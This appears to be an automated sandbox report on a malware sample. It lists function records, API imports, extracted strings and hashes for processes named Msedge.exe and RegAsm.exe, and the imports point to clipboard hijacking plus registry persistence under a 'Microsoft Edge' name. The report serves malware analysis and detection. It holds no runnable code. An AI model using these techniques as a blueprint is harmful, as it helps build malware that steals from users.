Opcode ID: eadd51e4c3ad28037750ae158a8cf730d03495910c30635ccd1ffc1cde141622
Instruction ID: c84b23bdeb8a805df5e3cf4f3e6f60ca3edb6a2fc26b99f0373cbb1d9c1a23e9
Opcode Fuzzy Hash: eadd51e4c3ad28037750ae158a8cf730d03495910c30635ccd1ffc1cde141622
Instruction Fuzzy Hash: AE216170224208DFCB51DF68D9C0B26BFA1EB84314F20C96DDD0A4B356C37AD847CA62

Function 0125D006 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2919572096.000000000125D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0125D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_125d000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2910809a49397ebf120cf121c5961bf400daadafaf1ef1be300ffe382859cbb
Instruction ID: b8802f0c90389fe909e4f7d62e7a3d5430f7189dbc86aaf74e68ecc0cbf6c6b0
Opcode Fuzzy Hash: f2910809a49397ebf120cf121c5961bf400daadafaf1ef1be300ffe382859cbb
Instruction Fuzzy Hash: FF21CA755083848FDB03CF24C9D0B15BF71EB46314F28C5EAC9498B2A3C33A980ACB62

Function 0124D4D3 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2919198341.000000000124D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0124D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_124d000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce69cba98bfff612cefda2c4877fe7df6cc59bd7a6ce96c012d28fad0f514114
Instruction ID: d2357d176662ca4ad2eac8c6575aebcd42bdcfbb7dfce5368f32bfb18556095a
Opcode Fuzzy Hash: ce69cba98bfff612cefda2c4877fe7df6cc59bd7a6ce96c012d28fad0f514114
Instruction Fuzzy Hash: B9110372404284CFCB16CF44D9C4B16BF71FB94318F24C6A9D9094B216C33AD45ACBE1

Analysis Process: Msedge.exePID: 7252, Parent PID: 6204COMMON

Execution Graph

Execution Coverage:	4.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1205
Total number of Limit Nodes:	2

Executed Functions

Function 00007FF62B64B900 Relevance: 65.6, APIs: 25, Strings: 12, Instructions: 814
clipboardregistryprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenMutexA.KERNEL32 ref: 00007FF62B64B977
_dupenv_s.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0 ref: 00007FF62B64B9A4

Part of subcall function 00007FF62B641D68: memmove.VCRUNTIME140(?,?,?,00007FF62B64B0E5), ref: 00007FF62B641DAF

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF62B64BA3D
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF62B64BA4E
GetModuleFileNameA.KERNEL32 ref: 00007FF62B64BB0E
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF62B64C24F
RegCreateKeyA.ADVAPI32 ref: 00007FF62B64C2E2
RegSetValueExA.ADVAPI32 ref: 00007FF62B64C3B4
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF62B64C43C
system.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF62B64C46F
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF62B64C4A8
??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF62B64C4C1
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF62B64C50B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF62B64C584
CreateMutexExA.KERNEL32 ref: 00007FF62B64C5EA
SleepEx.KERNEL32 ref: 00007FF62B64C5F5
GetClipboardSequenceNumber.USER32 ref: 00007FF62B64C5FB
OpenClipboard.USER32 ref: 00007FF62B64C60B
memmove.VCRUNTIME140 ref: 00007FF62B64C732
GlobalAlloc.KERNEL32 ref: 00007FF62B64C7B3
memmove.VCRUNTIME140 ref: 00007FF62B64C7E5
EmptyClipboard.USER32 ref: 00007FF62B64C7EA
SetClipboardData.USER32 ref: 00007FF62B64C7F6
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF62B64C87E
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF62B64C885

Strings

?fd, xrefs: 00007FF62B64BC0D
&& exit ", xrefs: 00007FF62B64C075
7*0&, xrefs: 00007FF62B64C5BE
localappdata, xrefs: 00007FF62B64B989
@3%, xrefs: 00007FF62B64BA56
" && , xrefs: 00007FF62B64BD0D, 00007FF62B64BDCA, 00007FF62B64BF85
" ", xrefs: 00007FF62B64BCA3
prr, xrefs: 00007FF62B64C5C5
Microsoft Edge, xrefs: 00007FF62B64C396
92(, xrefs: 00007FF62B64C28B
F%)6, xrefs: 00007FF62B64BC00
9./5, xrefs: 00007FF62B64C295

Memory Dump Source

Source File: 00000012.00000002.2917143594.00007FF62B641000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF62B640000, based on PE: true

Associated: 00000012.00000002.2917070297.00007FF62B640000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000012.00000002.2917231574.00007FF62B64F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000012.00000002.2917308274.00007FF62B654000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000012.00000002.2917394389.00007FF62B655000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff62b640000_Msedge.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Clipboard$memmove$CreateMutexOpen$??1?$basic_ios@AllocD@std@@@std@@DataEmptyFileGlobalModuleNameNumberSequenceSleepU?$char_traits@Value_dupenv_sfreesystem
String ID: && exit "$" "$" && $7*0&$9./5$92($?fd$@3%$F%)6$Microsoft Edge$localappdata$prr
API String ID: 1980490673-2619721367
Opcode ID: 0f8cdfebe0a83a0680be914d843486d997c6423b7a8fdb805b3714d5dd2bff2f
Instruction ID: c50a068585c41d69d731bc40940a156dc15b2c097ceca15235f67a0d627348db
Opcode Fuzzy Hash: 0f8cdfebe0a83a0680be914d843486d997c6423b7a8fdb805b3714d5dd2bff2f
Instruction Fuzzy Hash: B5925F62A08BC289EF30CF38DC643E96771FB49758F504635D65D8AAAADF78D244D301

Function 00007FF62B64D160 Relevance: 12.1, APIs: 8, Instructions: 94
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_initialize_crt.LIBCMT ref: 00007FF62B64D16F
__scrt_acquire_startup_lock.LIBCMT ref: 00007FF62B64D184
__scrt_release_startup_lock.LIBCMT ref: 00007FF62B64D1F2
_register_thread_local_exe_atexit_callback.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF62B64D240
__scrt_get_show_window_mode.LIBCMT ref: 00007FF62B64D245
_get_wide_winmain_command_line.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF62B64D24D
_cexit.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF62B64D276
_exit.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF62B64D2CB

Memory Dump Source

Source File: 00000012.00000002.2917143594.00007FF62B641000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF62B640000, based on PE: true

Associated: 00000012.00000002.2917070297.00007FF62B640000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000012.00000002.2917231574.00007FF62B64F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000012.00000002.2917308274.00007FF62B654000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000012.00000002.2917394389.00007FF62B655000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff62b640000_Msedge.jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_get_show_window_mode__scrt_initialize_crt__scrt_release_startup_lock_cexit_exit_get_wide_winmain_command_line_register_thread_local_exe_atexit_callback
String ID:
API String ID: 1020558986-0
Opcode ID: 78a97766118129f21d818817cbad7ed6548654daf1910381c6a4593ad2caefed
Instruction ID: 973927122e1c434acb38c096b9a5e1fd69c0f60fa1e1e9ee40cb7dfecffeff6f
Opcode Fuzzy Hash: 78a97766118129f21d818817cbad7ed6548654daf1910381c6a4593ad2caefed
Instruction Fuzzy Hash: 16310921E0C94355FE74AB65AC713BA22B1FF8A384F441434EA4DD76F7DE6CA804A213

Non-executed Functions

Function 00007FF62B64D4FC Relevance: 13.6, APIs: 9, Instructions: 72
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF62B64D518
memset.VCRUNTIME140 ref: 00007FF62B64D53C
RtlCaptureContext.KERNEL32 ref: 00007FF62B64D545
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF62B64D55F
RtlVirtualUnwind.KERNEL32 ref: 00007FF62B64D5A0
memset.VCRUNTIME140 ref: 00007FF62B64D5D3
IsDebuggerPresent.KERNEL32 ref: 00007FF62B64D5F4
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF62B64D615
UnhandledExceptionFilter.KERNEL32 ref: 00007FF62B64D620

Memory Dump Source

Source File: 00000012.00000002.2917143594.00007FF62B641000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF62B640000, based on PE: true

Associated: 00000012.00000002.2917070297.00007FF62B640000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000012.00000002.2917231574.00007FF62B64F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000012.00000002.2917308274.00007FF62B654000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000012.00000002.2917394389.00007FF62B655000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff62b640000_Msedge.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandledmemset$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 313767242-0
Opcode ID: aaac3d8bcd2409564a93bb2692e41ca80ea2fafb89281b964e3b37efff4b1c1f
Instruction ID: 22f33991f919ae54dd5fb5df4a0a4acd208d98b25025e559ec0d8e723618efc6
Opcode Fuzzy Hash: aaac3d8bcd2409564a93bb2692e41ca80ea2fafb89281b964e3b37efff4b1c1f
Instruction Fuzzy Hash: 6F313E72A09E818AEB709F60E8607ED73B1FB88748F444439DA4D87BA9DF38D548D711

Function 00007FF62B64C8D4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetLocaleInfoEx.KERNEL32 ref: 00007FF62B64C8FA
FormatMessageA.KERNEL32(?,?,?,?,?,?,?,?,00007FF62B64B010), ref: 00007FF62B64C929

Strings

!x-sys-default-locale, xrefs: 00007FF62B64C8ED

Memory Dump Source

Source File: 00000012.00000002.2917143594.00007FF62B641000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF62B640000, based on PE: true

Associated: 00000012.00000002.2917070297.00007FF62B640000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000012.00000002.2917231574.00007FF62B64F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000012.00000002.2917308274.00007FF62B654000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000012.00000002.2917394389.00007FF62B655000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff62b640000_Msedge.jbxd

Similarity

API ID: FormatInfoLocaleMessage
String ID: !x-sys-default-locale
API String ID: 4235545615-2729719199
Opcode ID: 4a16ee6a4f9f7a58f6f0993f016c016337146f7ae58b0ac5f22ac39274476180
Instruction ID: 4f4facc04457f1df7bb62ef4f7c118c4d9139d14f11763e3fc8cffa2f5bcb6b6
Opcode Fuzzy Hash: 4a16ee6a4f9f7a58f6f0993f016c016337146f7ae58b0ac5f22ac39274476180
Instruction Fuzzy Hash: E401D872B08B8546EB208B11F8607B977A1F78D7D4F444135D64D82BA8CF3CD405C701

Function 00007FF62B64378C Relevance: 12.2, APIs: 8, Instructions: 185
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memmove.VCRUNTIME140(?,00000000,?,00007FF62B642761,?,?,?,00007FF62B643EE1), ref: 00007FF62B64384A
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,00000000,?,00007FF62B642761,?,?,?,00007FF62B643EE1), ref: 00007FF62B643888
memmove.VCRUNTIME140(?,00000000,?,00007FF62B642761,?,?,?,00007FF62B643EE1), ref: 00007FF62B643892
memmove.VCRUNTIME140(?,?,?,00000000,?,00000000,?,00007FF62B642761,?,?,?,00007FF62B643EE1), ref: 00007FF62B643992
memmove.VCRUNTIME140(?,?,?,00000000,?,00000000,?,00007FF62B642761,?,?,?,00007FF62B643EE1), ref: 00007FF62B6439A0
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000000,?,00000000,?,00007FF62B642761,?,?,?,00007FF62B643EE1), ref: 00007FF62B6439D9
memmove.VCRUNTIME140(?,?,?,00000000,?,00000000,?,00007FF62B642761,?,?,?,00007FF62B643EE1), ref: 00007FF62B6439E3
memmove.VCRUNTIME140(?,?,?,00000000,?,00000000,?,00007FF62B642761,?,?,?,00007FF62B643EE1), ref: 00007FF62B6439F1

Part of subcall function 00007FF62B64CC88: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF62B648F80), ref: 00007FF62B64CCA2

Memory Dump Source

Source File: 00000012.00000002.2917143594.00007FF62B641000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF62B640000, based on PE: true

Associated: 00000012.00000002.2917070297.00007FF62B640000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000012.00000002.2917231574.00007FF62B64F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000012.00000002.2917308274.00007FF62B654000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000012.00000002.2917394389.00007FF62B655000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff62b640000_Msedge.jbxd

Similarity

API ID: memmove$_invalid_parameter_noinfo_noreturn$malloc
String ID:
API String ID: 1479149652-0
Opcode ID: 7e944f2b0d9bcedb63418371ff5278b368d0ba77e2cce49da8892cb3a4319cea
Instruction ID: fdec764f572ff41ab939540fdef73015bcbbc7dcdf4a929a114d3837d6bcb643
Opcode Fuzzy Hash: 7e944f2b0d9bcedb63418371ff5278b368d0ba77e2cce49da8892cb3a4319cea
Instruction Fuzzy Hash: 0361F622B08F8194EE249F16A91436DA761FB08FD0F5C8531DF5D4BBA5DE7CE081A306

Function 00007FF62B646CCC Relevance: 9.1, APIs: 6, Instructions: 132
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?tolower@?$ctype@D@std@@QEBADD@Z.MSVCP140(?,?,?,00007FF62B647EBF,?,?,?,?,?,?,?,00007FF62B647CE8), ref: 00007FF62B646CFC
?tolower@?$ctype@D@std@@QEBADD@Z.MSVCP140(?,?,?,00007FF62B647EBF,?,?,?,?,?,?,?,00007FF62B647CE8), ref: 00007FF62B646D0F
memset.VCRUNTIME140(?,?,?,00007FF62B647EBF,?,?,?,?,?,?,?,00007FF62B647CE8), ref: 00007FF62B646D63
realloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF62B647EBF,?,?,?,?,?,?,?,00007FF62B647CE8), ref: 00007FF62B646DFE
realloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF62B647EBF,?,?,?,?,?,?,?,00007FF62B647CE8), ref: 00007FF62B646E32
?_Xbad_alloc@std@@YAXXZ.MSVCP140(?,?,?,00007FF62B647EBF,?,?,?,?,?,?,?,00007FF62B647CE8), ref: 00007FF62B646E6E

Part of subcall function 00007FF62B64CC88: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF62B648F80), ref: 00007FF62B64CCA2

Memory Dump Source

Source File: 00000012.00000002.2917143594.00007FF62B641000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF62B640000, based on PE: true

Associated: 00000012.00000002.2917070297.00007FF62B640000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000012.00000002.2917231574.00007FF62B64F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000012.00000002.2917308274.00007FF62B654000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000012.00000002.2917394389.00007FF62B655000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff62b640000_Msedge.jbxd

Similarity

API ID: ?tolower@?$ctype@D@std@@realloc$Xbad_alloc@std@@mallocmemset
String ID:
API String ID: 3661150764-0
Opcode ID: 013138b7fa9eaf1f874e2d65456e622f28f172764970678887205d3d68904c82
Instruction ID: 1d87b76c399e9a05c061b27bbc369c361ff4a7c89455f7fbb4734f08d290f0a9
Opcode Fuzzy Hash: 013138b7fa9eaf1f874e2d65456e622f28f172764970678887205d3d68904c82
Instruction Fuzzy Hash: E2516D32A09E428AEF619F25D8A027DB7B1FB48F84F498035DA5D87365DE3CE841A351

Function 00007FF62B643494 Relevance: 9.1, APIs: 6, Instructions: 110
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memmove.VCRUNTIME140 ref: 00007FF62B643580
memmove.VCRUNTIME140 ref: 00007FF62B64358E
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF62B6435CD
memmove.VCRUNTIME140 ref: 00007FF62B6435D7
memmove.VCRUNTIME140 ref: 00007FF62B6435E5
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF62B643614

Memory Dump Source

Source File: 00000012.00000002.2917143594.00007FF62B641000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF62B640000, based on PE: true

Associated: 00000012.00000002.2917070297.00007FF62B640000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000012.00000002.2917231574.00007FF62B64F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000012.00000002.2917308274.00007FF62B654000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000012.00000002.2917394389.00007FF62B655000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff62b640000_Msedge.jbxd

Similarity

API ID: memmove$Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 2016347663-0
Opcode ID: 26b11adda677e6b343809b3a9c1f49ea10735b2f8080227b866242dc9828e6e7
Instruction ID: f88f0a4b9fc6275c15a28ea392be1636efa49f6b5842a3cd3580ddc18ebc0b35
Opcode Fuzzy Hash: 26b11adda677e6b343809b3a9c1f49ea10735b2f8080227b866242dc9828e6e7
Instruction Fuzzy Hash: B141C662B08E4195EE249B16F9142A9A761FB0CFE0F584631DE6D877E5DE3CD0819305

Function 00007FF62B6418B9 Relevance: 9.1, APIs: 6, Instructions: 109
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?setstate@?$basic_ios@DU?$char_traits@D@std@@@std@@QEAAXH_N@Z.MSVCP140 ref: 00007FF62B642F46
?uncaught_exception@std@@YA_NXZ.MSVCP140 ref: 00007FF62B642F4D
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAXXZ.MSVCP140 ref: 00007FF62B642F5B

Memory Dump Source

Source File: 00000012.00000002.2917143594.00007FF62B641000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF62B640000, based on PE: true

Associated: 00000012.00000002.2917070297.00007FF62B640000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000012.00000002.2917231574.00007FF62B64F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000012.00000002.2917308274.00007FF62B654000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000012.00000002.2917394389.00007FF62B655000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff62b640000_Msedge.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?setstate@?$basic_ios@?uncaught_exception@std@@Osfx@?$basic_ostream@
String ID:
API String ID: 2077694045-0
Opcode ID: 453be39fce51d7f91d2905c70a9c180258c8c2645e76f728006da0f14fafa6d1
Instruction ID: 60a0e9cab55e06e57f4c025a701d38399e26bef4155d189824d53f36ad1678a3
Opcode Fuzzy Hash: 453be39fce51d7f91d2905c70a9c180258c8c2645e76f728006da0f14fafa6d1
Instruction Fuzzy Hash: 2B414D62A18E4581EF208F15D9A023DA7B1FB89F95F658532DE8D87778CE3CD886D301

Function 00007FF62B6418C8 Relevance: 9.1, APIs: 6, Instructions: 107
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140 ref: 00007FF62B64195F
?sputn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAA_JPEBD_J@Z.MSVCP140 ref: 00007FF62B641986
?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140 ref: 00007FF62B6419A6
?setstate@?$basic_ios@DU?$char_traits@D@std@@@std@@QEAAXH_N@Z.MSVCP140 ref: 00007FF62B6419E4
?uncaught_exception@std@@YA_NXZ.MSVCP140 ref: 00007FF62B6419EB
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAXXZ.MSVCP140 ref: 00007FF62B6419F9

Memory Dump Source

Source File: 00000012.00000002.2917143594.00007FF62B641000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF62B640000, based on PE: true

Associated: 00000012.00000002.2917070297.00007FF62B640000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000012.00000002.2917231574.00007FF62B64F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000012.00000002.2917308274.00007FF62B654000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000012.00000002.2917394389.00007FF62B655000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff62b640000_Msedge.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?sputc@?$basic_streambuf@$?setstate@?$basic_ios@?sputn@?$basic_streambuf@?uncaught_exception@std@@Osfx@?$basic_ostream@
String ID:
API String ID: 3901553425-0
Opcode ID: 3899ee91e1b713a6a50820146165eb8bad4d2aa0730d0caa4019f4f0777c2472
Instruction ID: 22450f124bf5684480aacac78980d8d847e6d3fa92c1939ae3e6440238de4fc0
Opcode Fuzzy Hash: 3899ee91e1b713a6a50820146165eb8bad4d2aa0730d0caa4019f4f0777c2472
Instruction Fuzzy Hash: BD413332A09E9185EF308B15D9E02396BB1FB49BA5F148631CF6D937B5CF38D4959301

Function 00007FF62B644CC4 Relevance: 9.1, APIs: 6, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

??0_Lockit@std@@QEAA@H@Z.MSVCP140(00000008,?,?,00007FF62B645197,?,?,?,00007FF62B6447D8,?,?,?,?,?,?,?,00007FF62B642382), ref: 00007FF62B644CDA
??Bid@locale@std@@QEAA_KXZ.MSVCP140(?,00007FF62B645197,?,?,?,00007FF62B6447D8,?,?,?,?,?,?,?,00007FF62B642382), ref: 00007FF62B644CF4
?_Getgloballocale@locale@std@@CAPEAV_Locimp@12@XZ.MSVCP140(?,00007FF62B645197,?,?,?,00007FF62B6447D8,?,?,?,?,?,?,?,00007FF62B642382), ref: 00007FF62B644D26
?_Getcat@?$ctype@D@std@@SA_KPEAPEBVfacet@locale@2@PEBV42@@Z.MSVCP140(?,00007FF62B645197,?,?,?,00007FF62B6447D8,?,?,?,?,?,?,?,00007FF62B642382), ref: 00007FF62B644D50
std::_Facet_Register.LIBCPMT ref: 00007FF62B644D69
??1_Lockit@std@@QEAA@XZ.MSVCP140(?,00007FF62B645197,?,?,?,00007FF62B6447D8,?,?,?,?,?,?,?,00007FF62B642382), ref: 00007FF62B644D88

Memory Dump Source

Source File: 00000012.00000002.2917143594.00007FF62B641000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF62B640000, based on PE: true

Associated: 00000012.00000002.2917070297.00007FF62B640000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000012.00000002.2917231574.00007FF62B64F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000012.00000002.2917308274.00007FF62B654000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000012.00000002.2917394389.00007FF62B655000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff62b640000_Msedge.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Getgloballocale@locale@std@@Locimp@12@RegisterV42@@Vfacet@locale@2@std::_
String ID:
API String ID: 295490909-0
Opcode ID: bb4b9fba70b8cdda44d29502ec8ea9042cfbc8abe3e100e0a9e7bdf86edccc93
Instruction ID: 0717ad41bf5e3b5352b21ddbe0cafc050b50728567b969c879ee93c8b63af876
Opcode Fuzzy Hash: bb4b9fba70b8cdda44d29502ec8ea9042cfbc8abe3e100e0a9e7bdf86edccc93
Instruction Fuzzy Hash: E4215A26A09E4185EE249F15E8602B96770FB8DB94F0C1131DB5D83BB9DE3DD490D301

Function 00007FF62B644390 Relevance: 7.9, APIs: 5, Instructions: 376
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF62B6444C8
memset.VCRUNTIME140(?,?,?,3FFFFFFFFFFFFFFF,?,?,?,00007FF62B644203,?,?,?,00007FF62B6492B5), ref: 00007FF62B6445A0

Part of subcall function 00007FF62B64CC88: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF62B648F80), ref: 00007FF62B64CCA2

Memory Dump Source

Source File: 00000012.00000002.2917143594.00007FF62B641000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF62B640000, based on PE: true

Associated: 00000012.00000002.2917070297.00007FF62B640000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000012.00000002.2917231574.00007FF62B64F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000012.00000002.2917308274.00007FF62B654000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000012.00000002.2917394389.00007FF62B655000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff62b640000_Msedge.jbxd

Similarity

API ID: Concurrency::cancel_current_taskmallocmemset
String ID:
API String ID: 2179613399-0
Opcode ID: 2365e17c2eae6f2e067b7312316ce99b5e0f0170b1b83df64bb02dafa12a696b
Instruction ID: dddd4011f2ec742b740d3c14a42ae59ce190f15854405df3cf45ffa9627485fe
Opcode Fuzzy Hash: 2365e17c2eae6f2e067b7312316ce99b5e0f0170b1b83df64bb02dafa12a696b
Instruction Fuzzy Hash: 42D1C272B09A8581EE24CB56E86527963B4FB48BE0F588631DF6D87BE4CE3CD491D301

Function 00007FF62B642DAC Relevance: 7.6, APIs: 5, Instructions: 101
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

realloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF62B642DE9
?_Xbad_alloc@std@@YAXXZ.MSVCP140 ref: 00007FF62B642E28
?setstate@?$basic_ios@DU?$char_traits@D@std@@@std@@QEAAXH_N@Z.MSVCP140 ref: 00007FF62B642F46
?uncaught_exception@std@@YA_NXZ.MSVCP140 ref: 00007FF62B642F4D
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAXXZ.MSVCP140 ref: 00007FF62B642F5B

Memory Dump Source

Source File: 00000012.00000002.2917143594.00007FF62B641000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF62B640000, based on PE: true

Associated: 00000012.00000002.2917070297.00007FF62B640000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000012.00000002.2917231574.00007FF62B64F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000012.00000002.2917308274.00007FF62B654000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000012.00000002.2917394389.00007FF62B655000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff62b640000_Msedge.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?setstate@?$basic_ios@?uncaught_exception@std@@Osfx@?$basic_ostream@Xbad_alloc@std@@realloc
String ID:
API String ID: 2487731983-0
Opcode ID: 4a1f6d03ca14bf1403e94171af387133f0202b7b6271c2f389aac75518f98b30
